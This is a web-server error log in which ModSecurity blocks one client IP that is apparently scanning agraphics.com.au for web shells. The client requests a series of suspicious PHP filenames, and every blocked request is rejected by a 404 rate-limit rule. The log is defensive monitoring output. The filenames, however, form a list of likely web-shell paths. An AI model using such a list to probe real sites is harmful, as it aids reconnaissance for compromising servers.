[Sat Apr 11 03:59:20.039195 2026] [:error] [pid 2722:tid 2773] [client 135.116.194.58:4954] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sk25_1.php"] [unique_id "adlWmI_R23QDTmaQHyGA_wAAAFQ"]
[Sat Apr 11 03:59:20.658458 2026] [:error] [pid 2723:tid 2802] [client 135.116.194.58:54413] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sk25_1.php"] [unique_id "adlWmINy3DfGNAwLjcOxxwAAAJY"]
[Sat Apr 11 03:59:21.184617 2026] [:error] [pid 2721:tid 2730] [client 135.116.194.58:54440] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fetch.php"] [unique_id "adlWmTZWWL4OaRcuwkjHgQAAAAQ"]
[Sat Apr 11 03:59:21.787884 2026] [:error] [pid 2721:tid 2747] [client 135.116.194.58:4785] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fetch.php"] [unique_id "adlWmTZWWL4OaRcuwkjHhQAAABU"]
[Sat Apr 11 03:59:22.312284 2026] [:error] [pid 2812:tid 2823] [client 135.116.194.58:54394] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fetch.php"] [unique_id "adlWmtmkbBYp4LlMowsCvwAAAMg"]
[Sat Apr 11 03:59:22.844516 2026] [:error] [pid 2812:tid 2838] [client 135.116.194.58:4901] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fetch.php"] [unique_id "adlWmtmkbBYp4LlMowsCwgAAANc"]
[Sat Apr 11 03:59:23.423400 2026] [:error] [pid 2812:tid 2836] [client 135.116.194.58:54399] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adlWm9mkbBYp4LlMowsCxQAAANU"]
[Sat Apr 11 03:59:23.964606 2026] [:error] [pid 2812:tid 2826] [client 135.116.194.58:54449] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adlWm9mkbBYp4LlMowsCyQAAAMs"]
[Sat Apr 11 03:59:24.487537 2026] [:error] [pid 2812:tid 2831] [client 135.116.194.58:54349] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adlWnNmkbBYp4LlMowsCzgAAANA"]
[Sat Apr 11 03:59:25.041522 2026] [:error] [pid 2721:tid 2738] [client 135.116.194.58:54353] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adlWnTZWWL4OaRcuwkjHjgAAAAw"]
[Sat Apr 11 03:59:25.614111 2026] [:error] [pid 2812:tid 2827] [client 135.116.194.58:4866] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2nzyHnOkEg.php"] [unique_id "adlWndmkbBYp4LlMowsC0QAAAMw"]
[Sat Apr 11 03:59:26.140160 2026] [:error] [pid 2722:tid 2755] [client 135.116.194.58:54357] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2nzyHnOkEg.php"] [unique_id "adlWno_R23QDTmaQHyGBEAAAAEI"]
[Sat Apr 11 03:59:26.715576 2026] [:error] [pid 2723:tid 2793] [client 135.116.194.58:54414] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2nzyHnOkEg.php"] [unique_id "adlWnoNy3DfGNAwLjcOx3QAAAI0"]
[Sat Apr 11 03:59:27.267653 2026] [:error] [pid 2812:tid 2828] [client 135.116.194.58:54431] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2nzyHnOkEg.php"] [unique_id "adlWn9mkbBYp4LlMowsC2AAAAM0"]
[Sat Apr 11 03:59:27.791222 2026] [:error] [pid 2723:tid 2803] [client 135.116.194.58:54354] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/oircv.php"] [unique_id "adlWn4Ny3DfGNAwLjcOx4AAAAJc"]
[Sat Apr 11 03:59:28.340379 2026] [:error] [pid 2721:tid 2750] [client 135.116.194.58:5060] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/oircv.php"] [unique_id "adlWoDZWWL4OaRcuwkjHkAAAABg"]
[Sat Apr 11 03:59:28.968313 2026] [:error] [pid 2812:tid 2832] [client 135.116.194.58:54451] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/oircv.php"] [unique_id "adlWoNmkbBYp4LlMowsC4wAAANE"]
[Sat Apr 11 03:59:29.502769 2026] [:error] [pid 2812:tid 2821] [client 135.116.194.58:4806] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/oircv.php"] [unique_id "adlWodmkbBYp4LlMowsC6QAAAMY"]
[Sat Apr 11 03:59:30.041162 2026] [:error] [pid 2722:tid 2775] [client 135.116.194.58:54430] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blnux.php"] [unique_id "adlWoo_R23QDTmaQHyGBIQAAAFY"]
[Sat Apr 11 03:59:30.566693 2026] [:error] [pid 2722:tid 2768] [client 135.116.194.58:54463] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blnux.php"] [unique_id "adlWoo_R23QDTmaQHyGBJQAAAE8"]
[Sat Apr 11 03:59:31.143640 2026] [:error] [pid 2723:tid 2799] [client 135.116.194.58:54366] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blnux.php"] [unique_id "adlWo4Ny3DfGNAwLjcOx5wAAAJM"]
[Sat Apr 11 03:59:31.666781 2026] [:error] [pid 2722:tid 2769] [client 135.116.194.58:54428] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blnux.php"] [unique_id "adlWo4_R23QDTmaQHyGBLQAAAFA"]
[Sat Apr 11 03:59:32.223834 2026] [:error] [pid 2722:tid 2767] [client 135.116.194.58:4890] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "adlWpI_R23QDTmaQHyGBLgAAAE4"]
[Sat Apr 11 03:59:32.746026 2026] [:error] [pid 2723:tid 2782] [client 135.116.194.58:54344] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "adlWpINy3DfGNAwLjcOx7gAAAII"]
[Sat Apr 11 03:59:33.275165 2026] [:error] [pid 2722:tid 2758] [client 135.116.194.58:4885] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "adlWpY_R23QDTmaQHyGBMwAAAEU"]
[Sat Apr 11 03:59:33.807646 2026] [:error] [pid 2721:tid 2747] [client 135.116.194.58:4925] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "adlWpTZWWL4OaRcuwkjHlwAAABU"]
[Sat Apr 11 03:59:35.143334 2026] [:error] [pid 2721:tid 2750] [client 135.116.194.58:54342] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Spow_SRw.php"] [unique_id "adlWpzZWWL4OaRcuwkjHngAAABg"]
[Sat Apr 11 03:59:35.705382 2026] [:error] [pid 2812:tid 2832] [client 135.116.194.58:54444] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Spow_SRw.php"] [unique_id "adlWp9mkbBYp4LlMowsC9AAAANE"]
[Sat Apr 11 03:59:36.266446 2026] [:error] [pid 2723:tid 2799] [client 135.116.194.58:54396] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Spow_SRw.php"] [unique_id "adlWqINy3DfGNAwLjcOx9gAAAJM"]
[Sat Apr 11 03:59:37.171068 2026] [:error] [pid 2723:tid 2804] [client 135.116.194.58:54450] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Spow_SRw.php"] [unique_id "adlWqYNy3DfGNAwLjcOx-QAAAJg"]
[Sat Apr 11 03:59:37.691251 2026] [:error] [pid 2812:tid 2820] [client 135.116.194.58:54363] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/albrt.php"] [unique_id "adlWqdmkbBYp4LlMowsC-gAAAMU"]
[Sat Apr 11 03:59:38.242830 2026] [:error] [pid 2812:tid 2819] [client 135.116.194.58:54362] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/albrt.php"] [unique_id "adlWqtmkbBYp4LlMowsC_QAAAMQ"]
[Sat Apr 11 03:59:38.768192 2026] [:error] [pid 2723:tid 2782] [client 135.116.194.58:5069] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/albrt.php"] [unique_id "adlWqoNy3DfGNAwLjcOx-wAAAII"]
[Sat Apr 11 03:59:39.286533 2026] [:error] [pid 2722:tid 2757] [client 135.116.194.58:54345] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/albrt.php"] [unique_id "adlWq4_R23QDTmaQHyGBPwAAAEQ"]
[Sat Apr 11 03:59:39.835440 2026] [:error] [pid 2721:tid 2750] [client 135.116.194.58:54355] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxivicLhot.php"] [unique_id "adlWqzZWWL4OaRcuwkjHpgAAABg"]
[Sat Apr 11 03:59:40.361741 2026] [:error] [pid 2723:tid 2801] [client 135.116.194.58:4871] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxivicLhot.php"] [unique_id "adlWrINy3DfGNAwLjcOyAwAAAJU"]
[Sat Apr 11 03:59:40.907854 2026] [:error] [pid 2721:tid 2749] [client 135.116.194.58:54426] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxivicLhot.php"] [unique_id "adlWrDZWWL4OaRcuwkjHqwAAABc"]
[Sat Apr 11 03:59:41.425920 2026] [:error] [pid 2722:tid 2767] [client 135.116.194.58:54360] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxivicLhot.php"] [unique_id "adlWrY_R23QDTmaQHyGBQgAAAE4"]
[Sat Apr 11 03:59:41.969636 2026] [:error] [pid 2721:tid 2726] [client 135.116.194.58:54401] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/7logs.php"] [unique_id "adlWrTZWWL4OaRcuwkjHrQAAAAA"]
[Sat Apr 11 03:59:42.519555 2026] [:error] [pid 2723:tid 2783] [client 135.116.194.58:54341] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/7logs.php"] [unique_id "adlWroNy3DfGNAwLjcOyCQAAAIM"]
[Sat Apr 11 03:59:43.708451 2026] [:error] [pid 2721:tid 2727] [client 135.116.194.58:54421] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/7logs.php"] [unique_id "adlWrzZWWL4OaRcuwkjHtAAAAAE"]
[Sat Apr 11 03:59:44.315294 2026] [:error] [pid 2723:tid 2796] [client 135.116.194.58:54375] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/7logs.php"] [unique_id "adlWsINy3DfGNAwLjcOyEAAAAJA"]
[Sat Apr 11 03:59:44.922057 2026] [:error] [pid 2812:tid 2832] [client 135.116.194.58:4838] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acc.php"] [unique_id "adlWsNmkbBYp4LlMowsDCgAAANE"]
[Sat Apr 11 03:59:45.456594 2026] [:error] [pid 2812:tid 2828] [client 135.116.194.58:4928] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acc.php"] [unique_id "adlWsdmkbBYp4LlMowsDEAAAAM0"]
[Sat Apr 11 03:59:47.017573 2026] [proxy_fcgi:error] [pid 2812:tid 2831] [client 135.116.194.58:54346] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 03:59:47.281645 2026] [proxy_fcgi:error] [pid 2812:tid 2818] [client 135.116.194.58:54346] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 03:59:47.577510 2026] [proxy_fcgi:error] [pid 2812:tid 2825] [client 135.116.194.58:54346] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 03:59:47.840901 2026] [proxy_fcgi:error] [pid 2812:tid 2830] [client 135.116.194.58:54346] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 03:59:48.143508 2026] [proxy_fcgi:error] [pid 2812:tid 2823] [client 135.116.194.58:54346] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 03:59:48.421280 2026] [proxy_fcgi:error] [pid 2812:tid 2819] [client 135.116.194.58:54346] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 03:59:48.684999 2026] [proxy_fcgi:error] [pid 2812:tid 2834] [client 135.116.194.58:54346] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 03:59:48.949772 2026] [proxy_fcgi:error] [pid 2812:tid 2831] [client 135.116.194.58:54346] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 03:59:49.215313 2026] [proxy_fcgi:error] [pid 2812:tid 2829] [client 135.116.194.58:54346] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 03:59:49.503296 2026] [proxy_fcgi:error] [pid 2812:tid 2826] [client 135.116.194.58:54346] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 03:59:49.766932 2026] [proxy_fcgi:error] [pid 2812:tid 2825] [client 135.116.194.58:54346] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 03:59:50.030132 2026] [:error] [pid 2812:tid 2824] [client 135.116.194.58:54346] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s3FiyJ2WGCnF0p1default.php"] [unique_id "adlWttmkbBYp4LlMowsDLwAAAMk"]
[Sat Apr 11 03:59:50.556677 2026] [:error] [pid 2812:tid 2833] [client 135.116.194.58:54358] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s3FiyJ2WGCnF0p1default.php"] [unique_id "adlWttmkbBYp4LlMowsDMwAAANI"]
[Sat Apr 11 03:59:51.126608 2026] [:error] [pid 2721:tid 2731] [client 135.116.194.58:4868] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s3FiyJ2WGCnF0p1default.php"] [unique_id "adlWtzZWWL4OaRcuwkjHzAAAAAU"]
[Sat Apr 11 03:59:51.746346 2026] [:error] [pid 2812:tid 2820] [client 135.116.194.58:54452] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s3FiyJ2WGCnF0p1default.php"] [unique_id "adlWt9mkbBYp4LlMowsDOAAAAMU"]
[Sat Apr 11 03:59:52.328629 2026] [:error] [pid 2812:tid 2832] [client 135.116.194.58:4981] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bfil.php"] [unique_id "adlWuNmkbBYp4LlMowsDPAAAANE"]
[Sat Apr 11 03:59:52.852483 2026] [:error] [pid 2723:tid 2790] [client 135.116.194.58:5061] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bfil.php"] [unique_id "adlWuINy3DfGNAwLjcOyGQAAAIo"]
[Sat Apr 11 03:59:53.379372 2026] [:error] [pid 2723:tid 2795] [client 135.116.194.58:4996] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bfil.php"] [unique_id "adlWuYNy3DfGNAwLjcOyHgAAAI8"]
[Sat Apr 11 03:59:53.900948 2026] [:error] [pid 2812:tid 2830] [client 135.116.194.58:4902] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bfil.php"] [unique_id "adlWudmkbBYp4LlMowsDQgAAAM8"]
